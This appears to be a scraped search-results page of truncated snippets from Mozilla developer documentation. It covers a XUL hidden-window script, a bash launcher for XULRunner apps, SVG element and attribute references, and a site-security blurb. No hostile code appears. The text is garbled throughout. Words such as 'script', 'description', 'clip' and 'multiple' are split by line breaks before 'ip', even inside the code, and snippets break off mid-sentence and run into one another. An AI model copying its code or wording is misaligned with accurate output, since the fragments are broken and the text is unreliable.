debug function and nsicommandline try/catch can be removed, all you need is the window.arguments[0]) <?xml version="1.0"?> <window xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" id="myxul_hidden" windowtype="myxul:hiddenwindow" title="" width="0" height="0" persist="screenx screeny width height sizemode" > <!-- load the mozilla helpers --> <scr
ipt type="application/javascr
ipt" src="chrome://global/content/nsusersettings.js" /> <scr
ipt><![cdata[ function debug(alogstring) { var mconsoleservice = components.classes["@mozilla.org/consoleservice;1"] .getservice(components.interfaces.nsiconsoleservice) mconsoleservice.logstringmessage("myxul: " + alogstring + "\n"); } function checkoth...
...aces.nsicommandline); for (var i = 0; i < cmdline.length; ++i) { debug(cmdline.getargument(i)) } } catch(ex) { debug(window.arguments[0]) // do something with window.arguments[0] //nspreferences.setunicharpref("myxul.cmdlinevalue", window.arguments[0]) } window.addeventlistener("load", checkotherwindows , false); } ]]></scr
ipt> </window> ...
xulauncher - Archive of obsolete content
#!/bin/bash -e # a simple bash scr
ipt to create a minimal xulrunner dir structure and # needed meta files in /tmp, copy the xul-file over and start it # usage: # xulauncher xulfile.xul [options] ############################################################################## # check if theres atleast one parameter ############################################################################## if [ $# -lt 1 ] then echo "you need to give the xul file as first parameter" exit fi # check if 1st parameter is a file ############################################################################## if [ !
...########################################################################## echo " content $xulname file:$xulname/ ">$xulmanifest # create prefs.js file ############################################################################## echo " pref(\"toolkit.defaultchromeuri\", \"chrome://$xulname/content/$xulfile\"); /* debugging prefs */ pref(\"browser.dom.window.dump.enabled\", true); pref(\"javascr
ipt.options.showinconsole\", true); pref(\"javascr
ipt.options.strict\", true); pref(\"nglayout.debug.disable_xul_cache\", true); pref(\"nglayout.debug.disable_xul_fastload\", true); ">$xulprefs # copy xul file to right location and run it ############################################################################## cp $xulfile $xuldir xulrunner $xulappini $@ ...
XULRunner - Archive of obsolete content
firefox (from version 3) sh
ips with a private xulrunner package, which can run any compatible xulrunner application using the -app switch: firefox -app application.ini is equivalent to xulrunner -app application.ini older builds are also available.
... xulrunner t
ips a collection of t
ips for working with xulrunner.
2006-10-20 - Archive of obsolete content
summary: mozilla.dev.apps.firefox - october 13, 2006 - october 20, 2006 announcements content filtering, man
ipulation, and control in firefox 3 an open invitation from myk melez to contribute to the brainstorming of new features for firefox 3 and future firefox releases.
... myk will be paying close attention to features dealing with content filtering, man
ipulation and control in ff3.
textLength - SVG: Scalable Vector Graphics
html the html is also simple, with only two displayed elements contained inside a grouping <div>: <div class="controls"> <input type="range" id="widthslider" min="80" max="978"> <span id="widthdisplay"></span> </div> the <input> element, of type "range", is used to create the slider control the user will man
ipulate to change the width of the text.
... javascr
ipt finally, let's have a look at the javascr
ipt code.
type - SVG: Scalable Vector Graphics
for the <style> and <scr
ipt> elements, it defines the content type of the element.
...ments categories none value identity | table | discrete | linear | gamma animatable yes normative document svg 1.1 (2nd edition) for the <feturbulence> element categories none value fractalnoise | turbulence animatable yes normative document svg 1.1 (2nd edition) for the <style> and <scr
ipt> elements categories none value <content-type> animatable no normative document svg 1.1 (2nd edition) : scr
ipt svg 1.1 (2nd edition) : style example elements the following elements can use the values attribute <animatetransform> <fecolormatrix> <fefunca> <fefuncb> <fefuncg> <fefuncr> <feturbulence> <scr
ipt> <style> ...
u1 - SVG: Scalable Vector Graphics
the u1 attribute specifies list of unicode characters (refer to the descr
iption of the unicode attribute of the <glyph> element for a descr
iption of how to express individual unicode characters) and/or ranges of unicode characters, which identify a set of possible first glyphs in a kerning pair.
... if a given unicode character within the set has mult
iple corresponding <glyph> elements (i.e., there are mult
iple <glyph> elements with the same unicode attribute value but different glyph-name values), then all such glyphs are included in the set.
u2 - SVG: Scalable Vector Graphics
the u2 attribute specifies list of unicode characters (refer to the descr
iption of the unicode attribute of the <glyph> element for a descr
iption of how to express individual unicode characters) and/or ranges of unicode characters, which identify a set of possible second glyphs in a kerning pair.
... if a given unicode character within the set has mult
iple corresponding <glyph> elements (i.e., there are mult
iple <glyph> elements with the same unicode attribute value but different glyph-name values), then all such glyphs are included in the set.
vector-effect - SVG: Scalable Vector Graphics
filters, masks and cl
ips.
... as a presentation attribute, it can be applied to any element but it has effect only on the following ten elements: <circle>, <ell
ipse>, <foreignobject>, <image>, <line>, <path>, <polygon>, <polyline>, <rect>, <text>, <textpath> <tspan>, and <use> usage notes value none | non-scaling-stroke | non-scaling-size | non-rotation | fixed-position default value none animatable yes none this value specifies that no vector effect shall be applied, i.e.
xlink:title - SVG: Scalable Vector Graphics
these elements are using this attribute: <a>, <altglyph>, <animate>, <animatecolor>, <animatemotion>, <animatetransform>, <color-profile>, <cursor>, <feimage>, <filter>, <font-face-uri>, <glyphref>, <image>, <lineargradient>, <mpath>, <pattern>, <radialgradient>, <scr
ipt>, <set>, <textpath>, <tref>, and <use> usage context value <anything> default value none animatable no <anything> this value specifies the title used to describe the meaning of the link or resource.
... candidate recommendation deprecated the attribute and made it only apply to <a>, <image>, <lineargradient>, <pattern>, <radialgradient>, <scr
ipt>, <textpath>, and <use> scalable vector graphics (svg) 1.1 (second edition)the definition of 'seed' in that specification.
SVG Attribute reference - SVG: Scalable Vector Graphics
svg attributes a to z a accent-height accumulate additive alignment-baseline allowreorder alphabetic amplitude arabic-form ascent attributename attributetype autoreverse azimuth b basefrequency baseline-shift baseprofile bbox begin bias by c calcmode cap-height class cl
ip cl
ippathunits cl
ip-path cl
ip-rule color color-interpolation color-interpolation-filters color-profile color-rendering contentscr
ipttype contentstyletype cursor cx cy d d decelerate descent diffuseconstant direction display divisor dominant-baseline dur dx dy e edgemode elevation enable-background end exponent externalresourcesrequired f fill fill-opacit...
... alignment-baseline, baseline-shift, cl
ip, cl
ip-path, cl
ip-rule, color, color-interpolation, color-interpolation-filters, color-profile, color-rendering, cursor, direction, display, dominant-baseline, enable-background, fill, fill-opacity, fill-rule, filter, flood-color, flood-opacity, font-family, font-size, font-size-adjust, font-stretch, font-style, font-variant, font-weight, glyph-orientation-horizontal, glyph-orientation-vertical, i...
Content type - SVG: Scalable Vector Graphics
this article lists these types along with their syntax and descr
iptions of what they're used for.
...a detailed descr
iption of the possible values for a <transform-list> is given in the transform attribute definition.
<circle> - SVG: Scalable Vector Graphics
global attributes core attributes most notably: id, tabindex styling attributes class, style conditional processing attributes most notably: requiredextensions, systemlanguage event attributes global event attributes, graphical event attributes presentation attributes most notably: cl
ip-path, cl
ip-rule, color, color-interpolation, color-rendering, cursor, display, fill, fill-opacity, fill-rule, filter, mask, opacity, pointer-events, shape-rendering, stroke, stroke-dasharray, stroke-dashoffset, stroke-linecap, stroke-linejoin, stroke-miterlimit, stroke-opacity, stroke-width, transform, vector-effect, visibility aria attributes aria-activedescendant, aria-atomic, aria-autocomple...
...details, aria-disabled, aria-dropeffect, aria-errormessage, aria-expanded, aria-flowto, aria-grabbed, aria-haspopup, aria-hidden, aria-invalid, aria-keyshortcuts, aria-label, aria-labelledby, aria-level, aria-live, aria-modal, aria-multiline, aria-multiselectable, aria-orientation, aria-owns, aria-placeholder, aria-posinset, aria-pressed, aria-readonly, aria-relevant, aria-required, aria-roledescr
iption, aria-rowcount, aria-rowindex, aria-rowspan, aria-selected, aria-setsize, aria-sort, aria-valuemax, aria-valuemin, aria-valuenow, aria-valuetext, role usage notes categoriesbasic shape element, graphics element, shape elementpermitted contentany number of the following elements, in any order:animation elementsdescr
iptive elements specifications specification status comment...
<defs> - SVG: Scalable Vector Graphics
neargradient> </defs> <!-- using my graphical objects --> <use x="5" y="5" xlink:href="#mycircle" fill="url('#mygradient')" /> </svg> attributes global attributes core attributes most notably: id lang styling attributes class, style event attributes global event attributes, document element event attributes, graphical event attributes presentation attributes most notably: cl
ip-path, cl
ip-rule, color, color-interpolation, color-rendering, cursor, display, fill, fill-opacity, fill-rule, filter, mask, opacity, pointer-events, shape-rendering, stroke, stroke-dasharray, stroke-dashoffset, stroke-linecap, stroke-linejoin, stroke-miterlimit, stroke-opacity, stroke-width, transform, vector-effect, visibility usage notes categoriescontainer element, structural elementpermitt...
...ed contentany number of the following elements, in any order:animation elementsdescr
iptive elementsshape elementsstructural elementsgradient elements<a>, <altglyphdef>, <cl
ippath>, <color-profile>, <cursor>, <filter>, <font>, <font-face>, <foreignobject>, <image>, <marker>, <mask>, <pattern>, <scr
ipt>, <style>, <switch>, <text>, <view> specifications specification status comment scalable vector graphics (svg) 2the definition of '<defs>' in that specification.
<feComposite> - SVG: Scalable Vector Graphics
the first set w
ipes out the background image by flooding with opaque white.
... the second set does not w
ipe out the background, with the result that the background sometimes shines through and is other cases is blended into itself (i.e., "double-counting").</desc> <filter id="overflood" filterunits="objectboundingbox" x="-5%" y="-5%" width="110%" height="110%"> <feflood flood-color="#ffffff" flood-opacity="1" result="flood"/> <fecomposite in="sourcegraphic" in2="backgroundimage" operator="over" result="comp"/> <femerge> <femergenode in="flood"/> <femergenode in="comp"/> </femerge> </filter> <filter id="inflood" filterunits="objectboundingbox" x="-5%" y="-5%" width="110%" height="110%"> <feflood flood-color="#ffffff" flood-opacity="1" result="flood"/> <fecomposite in="sourcegraphic" in2="background...
<feSpecularLighting> - SVG: Scalable Vector Graphics
mult
iple light sources can be simulated by adding several of these light maps before applying it to the texture image.
... usage context categoriesfilter primitive elementpermitted contentexactly one light source element first and any number of descr
iptive elements in any order.
<image> - SVG: Scalable Vector Graphics
to include svg files and run scr
ipts inside them, try <object> inside of <foreignobject>.
... usage context categoriesgraphics element, graphics referencing elementpermitted contentany number of the following elements, in any order:animation elementsdescr
iptive elements attributes global attributes conditional processing attributes core attributes graphical event attributes presentation attributes xlink attributes class style externalresourcesrequired transform specific attributes x: positions the image horizontally from the origin.
<line> - SVG: Scalable Vector Graphics
value type: <number> ; default value: none; animatable: yes global attributes core attributes most notably: id, tabindex styling attributes class, style conditional processing attributes most notably: requiredextensions, systemlanguage event attributes global event attributes, graphical event attributes presentation attributes most notably: cl
ip-path, cl
ip-rule, color, color-interpolation, color-rendering, cursor, display, fill, fill-opacity, fill-rule, filter, mask, opacity, pointer-events, shape-rendering, stroke, stroke-dasharray, stroke-dashoffset, stroke-linecap, stroke-linejoin, stroke-miterlimit, stroke-opacity, stroke-width, transform, vector-effect, visibility aria attributes aria-activedescendant, aria-atomic, aria-autocomple...
...details, aria-disabled, aria-dropeffect, aria-errormessage, aria-expanded, aria-flowto, aria-grabbed, aria-haspopup, aria-hidden, aria-invalid, aria-keyshortcuts, aria-label, aria-labelledby, aria-level, aria-live, aria-modal, aria-multiline, aria-multiselectable, aria-orientation, aria-owns, aria-placeholder, aria-posinset, aria-pressed, aria-readonly, aria-relevant, aria-required, aria-roledescr
iption, aria-rowcount, aria-rowindex, aria-rowspan, aria-selected, aria-setsize, aria-sort, aria-valuemax, aria-valuemin, aria-valuenow, aria-valuetext, role usage notes categoriesbasic shape element, graphics element, shape elementpermitted contentany number of the following elements, in any order:animation elementsdescr
iptive elements specifications specification status comment...
<linearGradient> - SVG: Scalable Vector Graphics
value type: <length> ; default value: 0%; animatable: yes global attributes core attributes most notably: id styling attributes class, style event attributes global event attributes, document element event attributes presentation attributes most notably: cl
ip-path, cl
ip-rule, color, color-interpolation, color-rendering, cursor, display, fill, fill-opacity, fill-rule, filter, mask, opacity, pointer-events, shape-rendering, stroke, stroke-dasharray, stroke-dashoffset, stroke-linecap, stroke-linejoin, stroke-miterlimit, stroke-opacity, stroke-width, transform, vector-effect, visibility xlink attributes xlink:href, xlink:title usage notes categoriesg...
...radient elementpermitted contentany number of the following elements, in any order:descr
iptive elements<animate>, <animatetransform>, <set>, <stop> specifications specification status comment scalable vector graphics (svg) 2the definition of '<lineargradient>' in that specification.
<mask> - SVG: Scalable Vector Graphics
value type: <length> ; default value: 120%; animatable: yes global attributes core attributes most notably: id styling attributes class, style conditional processing attributes most notably: requiredextensions, systemlanguage presentation attributes most notably: cl
ip-path, cl
ip-rule, color, display, fill, fill-opacity, fill-rule, filter, mask, opacity, shape-rendering, stroke, stroke-dasharray, stroke-dashoffset, stroke-linecap, stroke-linejoin, stroke-miterlimit, stroke-opacity, stroke-width, transform, vector-effect, visibility usage notes categoriescontainer elementpermitted contentany number of the following elements, in any order:animation elementsdes...
...cr
iptive elementsshape elementsstructural elementsgradient elements<a>, <altglyphdef>, <cl
ippath>, <color-profile>, <cursor>, <filter>, <font>, <font-face>, <foreignobject>, <image>, <marker>, <mask>, <pattern>, <scr
ipt>, <style>, <switch>, <text>, <view> specifications specification status comment css masking module level 1the definition of '<mask>' in that specification.
<path> - SVG: Scalable Vector Graphics
value type: <number> ; default value: none; animatable: yes global attributes core attributes most notably: id, tabindex styling attributes class, style conditional processing attributes most notably: requiredextensions, systemlanguage event attributes global event attributes, graphical event attributes presentation attributes most notably: cl
ip-path, cl
ip-rule, color, color-interpolation, color-rendering, cursor, display, fill, fill-opacity, fill-rule, filter, mask, opacity, pointer-events, shape-rendering, stroke, stroke-dasharray, stroke-dashoffset, stroke-linecap, stroke-linejoin, stroke-miterlimit, stroke-opacity, stroke-width, transform, vector-effect, visibility aria attributes aria-activedescendant, aria-atomic, aria-autocomple...
...details, aria-disabled, aria-dropeffect, aria-errormessage, aria-expanded, aria-flowto, aria-grabbed, aria-haspopup, aria-hidden, aria-invalid, aria-keyshortcuts, aria-label, aria-labelledby, aria-level, aria-live, aria-modal, aria-multiline, aria-multiselectable, aria-orientation, aria-owns, aria-placeholder, aria-posinset, aria-pressed, aria-readonly, aria-relevant, aria-required, aria-roledescr
iption, aria-rowcount, aria-rowindex, aria-rowspan, aria-selected, aria-setsize, aria-sort, aria-valuemax, aria-valuemin, aria-valuenow, aria-valuetext, role usage notes categoriesgraphics element, shape elementpermitted contentany number of the following elements, in any order:animation elementsdescr
iptive elements specifications specification status comment svg pat...
<pattern> - SVG: Scalable Vector Graphics
value type: <length>|<percentage> ; default value: 0; animatable: yes global attributes core attributes most notably: id, tabindex styling attributes class, style conditional processing attributes most notably: requiredextensions, systemlanguage presentation attributes most notably: cl
ip-path, cl
ip-rule, color, color-interpolation, color-rendering, cursor, display, fill, fill-opacity, fill-rule, filter, mask, opacity, pointer-events, shape-rendering, stroke, stroke-dasharray, stroke-dashoffset, stroke-linecap, stroke-linejoin, stroke-miterlimit, stroke-opacity, stroke-width, transform, vector-effect, visibility xlink attributes most notably: xlink:title usage notes categorie...
...scontainer elementpermitted contentany number of the following elements, in any order:animation elementsdescr
iptive elementsshape elementsstructural elementsgradient elements<a>, <altglyphdef>, <cl
ippath>, <color-profile>, <cursor>, <filter>, <font>, <font-face>, <foreignobject>, <image>, <marker>, <mask>, <pattern>, <scr
ipt>, <style>, <switch>, <text>, <view> specifications specification status comment scalable vector graphics (svg) 2the definition of '<pattern>' in that specification.
<polygon> - SVG: Scalable Vector Graphics
value type: <number> ; default value: none; animatable: yes global attributes core attributes most notably: id, tabindex styling attributes class, style conditional processing attributes most notably: requiredextensions, systemlanguage event attributes global event attributes, graphical event attributes presentation attributes most notably: cl
ip-path, cl
ip-rule, color, color-interpolation, color-rendering, cursor, display, fill, fill-opacity, fill-rule, filter, mask, opacity, pointer-events, shape-rendering, stroke, stroke-dasharray, stroke-dashoffset, stroke-linecap, stroke-linejoin, stroke-miterlimit, stroke-opacity, stroke-width, transform, vector-effect, visibility aria attributes aria-activedescendant, aria-atomic, aria-autocomple...
...details, aria-disabled, aria-dropeffect, aria-errormessage, aria-expanded, aria-flowto, aria-grabbed, aria-haspopup, aria-hidden, aria-invalid, aria-keyshortcuts, aria-label, aria-labelledby, aria-level, aria-live, aria-modal, aria-multiline, aria-multiselectable, aria-orientation, aria-owns, aria-placeholder, aria-posinset, aria-pressed, aria-readonly, aria-relevant, aria-required, aria-roledescr
iption, aria-rowcount, aria-rowindex, aria-rowspan, aria-selected, aria-setsize, aria-sort, aria-valuemax, aria-valuemin, aria-valuenow, aria-valuetext, role usage notes categoriesbasic shape element, graphics element, shape elementpermitted contentany number of the following elements, in any order:animation elementsdescr
iptive elements specifications specification status comment...
<polyline> - SVG: Scalable Vector Graphics
value type: <number> ; default value: none; animatable: yes global attributes core attributes most notably: id, tabindex styling attributes class, style conditional processing attributes most notably: requiredextensions, systemlanguage event attributes global event attributes, graphical event attributes presentation attributes most notably: cl
ip-path, cl
ip-rule, color, color-interpolation, color-rendering, cursor, display, fill, fill-opacity, fill-rule, filter, mask, opacity, pointer-events, shape-rendering, stroke, stroke-dasharray, stroke-dashoffset, stroke-linecap, stroke-linejoin, stroke-miterlimit, stroke-opacity, stroke-width, transform, vector-effect, visibility aria attributes aria-activedescendant, aria-atomic, aria-autocomple...
...details, aria-disabled, aria-dropeffect, aria-errormessage, aria-expanded, aria-flowto, aria-grabbed, aria-haspopup, aria-hidden, aria-invalid, aria-keyshortcuts, aria-label, aria-labelledby, aria-level, aria-live, aria-modal, aria-multiline, aria-multiselectable, aria-orientation, aria-owns, aria-placeholder, aria-posinset, aria-pressed, aria-readonly, aria-relevant, aria-required, aria-roledescr
iption, aria-rowcount, aria-rowindex, aria-rowspan, aria-selected, aria-setsize, aria-sort, aria-valuemax, aria-valuemin, aria-valuenow, aria-valuetext, role usage notes categoriesbasic shape element, graphics element, shape elementpermitted contentany number of the following elements, in any order:animation elementsdescr
iptive elements specifications specification status comment...
<radialGradient> - SVG: Scalable Vector Graphics
value type: <iri> ; default value: none; animatable: yes global attributes core attributes most notably: id styling attributes class, style event attributes global event attributes, document element event attributes presentation attributes most notably: cl
ip-path, cl
ip-rule, color, color-interpolation, color-rendering, cursor, display, fill, fill-opacity, fill-rule, filter, mask, opacity, pointer-events, shape-rendering, stroke, stroke-dasharray, stroke-dashoffset, stroke-linecap, stroke-linejoin, stroke-miterlimit, stroke-opacity, stroke-width, transform, vector-effect, visibility xlink attributes xlink:href, xlink:title usage notes categoriesg...
...radient elementpermitted contentany number of the following elements, in any order:descr
iptive elements<animate>, <animatetransform>, <set>, <stop> specifications specification status comment scalable vector graphics (svg) 2the definition of '<radialgradient>' in that specification.
<rect> - SVG: Scalable Vector Graphics
global attributes core attributes most notably: id, tabindex styling attributes class, style conditional processing attributes most notably: requiredextensions, systemlanguage event attributes global event attributes, graphical event attributes presentation attributes most notably: cl
ip-path, cl
ip-rule, color, color-interpolation, color-rendering, cursor, display, fill, fill-opacity, fill-rule, filter, mask, opacity, pointer-events, shape-rendering, stroke, stroke-dasharray, stroke-dashoffset, stroke-linecap, stroke-linejoin, stroke-miterlimit, stroke-opacity, stroke-width, transform, vector-effect, visibility aria attributes aria-activedescendant, aria-atomic, aria-autocomple...
...details, aria-disabled, aria-dropeffect, aria-errormessage, aria-expanded, aria-flowto, aria-grabbed, aria-haspopup, aria-hidden, aria-invalid, aria-keyshortcuts, aria-label, aria-labelledby, aria-level, aria-live, aria-modal, aria-multiline, aria-multiselectable, aria-orientation, aria-owns, aria-placeholder, aria-posinset, aria-pressed, aria-readonly, aria-relevant, aria-required, aria-roledescr
iption, aria-rowcount, aria-rowindex, aria-rowspan, aria-selected, aria-setsize, aria-sort, aria-valuemax, aria-valuemin, aria-valuenow, aria-valuetext, role usage notes categoriesbasic shape element, graphics element, shape elementpermitted contentany number of the following elements, in any order:animation elementsdescr
iptive elements specifications specification status comment...
<textPath> - SVG: Scalable Vector Graphics
value type: <length>|<percentage>|<number> ; default value: auto; animatable: yes global attributes core attributes most notably: id, tabindex styling attributes class, style conditional processing attributes most notably: requiredextensions, systemlanguage event attributes global event attributes, graphical event attributes presentation attributes most notably: cl
ip-path, cl
ip-rule, color, color-interpolation, color-rendering, cursor, display, fill, fill-opacity, fill-rule, filter, mask, opacity, pointer-events, shape-rendering, stroke, stroke-dasharray, stroke-dashoffset, stroke-linecap, stroke-linejoin, stroke-miterlimit, stroke-opacity, stroke-width, transform, vector-effect, visibility aria attributes aria-activedescendant, aria-atomic, aria-autocomple...
...details, aria-disabled, aria-dropeffect, aria-errormessage, aria-expanded, aria-flowto, aria-grabbed, aria-haspopup, aria-hidden, aria-invalid, aria-keyshortcuts, aria-label, aria-labelledby, aria-level, aria-live, aria-modal, aria-multiline, aria-multiselectable, aria-orientation, aria-owns, aria-placeholder, aria-posinset, aria-pressed, aria-readonly, aria-relevant, aria-required, aria-roledescr
iption, aria-rowcount, aria-rowindex, aria-rowspan, aria-selected, aria-setsize, aria-sort, aria-valuemax, aria-valuemin, aria-valuenow, aria-valuetext, role xlink attributes xlink:title usage notes categoriestext content element, text content child elementpermitted contentcharacter data and any number of the following elements, in any order:descr
iptive elements<a>, <altglyph>, <animate>, <anim...
<tspan> - SVG: Scalable Vector Graphics
value type: <length>|<percentage> ; default value: none; animatable: yes global attributes core attributes most notably: id, tabindex styling attributes class, style conditional processing attributes most notably: requiredextensions, systemlanguage event attributes global event attributes, graphical event attributes presentation attributes most notably: cl
ip-path, cl
ip-rule, color, color-interpolation, color-rendering, cursor, display, dominant-baseline, fill, fill-opacity, fill-rule, filter, mask, opacity, pointer-events, shape-rendering, stroke, stroke-dasharray, stroke-dashoffset, stroke-linecap, stroke-linejoin, stroke-miterlimit, stroke-opacity, stroke-width, text-anchor, transform, vector-effect, visibility aria attributes aria-activedescenda...
...details, aria-disabled, aria-dropeffect, aria-errormessage, aria-expanded, aria-flowto, aria-grabbed, aria-haspopup, aria-hidden, aria-invalid, aria-keyshortcuts, aria-label, aria-labelledby, aria-level, aria-live, aria-modal, aria-multiline, aria-multiselectable, aria-orientation, aria-owns, aria-placeholder, aria-posinset, aria-pressed, aria-readonly, aria-relevant, aria-required, aria-roledescr
iption, aria-rowcount, aria-rowindex, aria-rowspan, aria-selected, aria-setsize, aria-sort, aria-valuemax, aria-valuemin, aria-valuenow, aria-valuetext, role usage notes categoriestext content element, text content child elementpermitted contentcharacter data and any number of the following elements, in any order:descr
iptive elements<a>, <altglyph>, <animate>, <animatecolor>, <set>, <tref>, <tspa...
<use> - SVG: Scalable Vector Graphics
global attributes core attributes most notably: id, tabindex styling attributes class, style conditional processing attributes most notably: requiredextensions, systemlanguage event attributes global event attributes, graphical event attributes presentation attributes most notably: cl
ip-path, cl
ip-rule, color, color-interpolation, color-rendering, cursor, display, fill, fill-opacity, fill-rule, filter, mask, opacity, pointer-events, shape-rendering, stroke, stroke-dasharray, stroke-dashoffset, stroke-linecap, stroke-linejoin, stroke-miterlimit, stroke-opacity, stroke-width, transform, vector-effect, visibility aria attributes aria-activedescendant, aria-atomic, aria-autocomple...
...details, aria-disabled, aria-dropeffect, aria-errormessage, aria-expanded, aria-flowto, aria-grabbed, aria-haspopup, aria-hidden, aria-invalid, aria-keyshortcuts, aria-label, aria-labelledby, aria-level, aria-live, aria-modal, aria-multiline, aria-multiselectable, aria-orientation, aria-owns, aria-placeholder, aria-posinset, aria-pressed, aria-readonly, aria-relevant, aria-required, aria-roledescr
iption, aria-rowcount, aria-rowindex, aria-rowspan, aria-selected, aria-setsize, aria-sort, aria-valuemax, aria-valuemin, aria-valuenow, aria-valuetext, role xlink attributes xlink:href, xlink:title usage notes categoriesgraphics element, graphics referencing element, structural elementpermitted contentany number of the following elements, in any order:animation elementsdescr
iptive elements s...
Positions - SVG: Scalable Vector Graphics
note that this is slightly different than the way you're taught to graph as a kid (y axis is fl
ipped).
...apart from scaling the coordinate system can also be rotated, skewed and fl
ipped.
SVG Filters Tutorial - SVG: Scalable Vector Graphics
filters svg allows us to use similar tools as the bitmap descr
iption language such as the use of shadow, blur effects or even merging the results of different filters.
... this element has different attributes that help us create the cl
ipping region.
Securing your site - Web security
content security policy an added layer of security that helps to detect and mitigate certain types of attacks, including cross site scr
ipting (xss) and data injection attacks.
...you can ignore specific
ips, restrict access to certain areas of website, protect different files, protect against image hotlinking, and a lot more.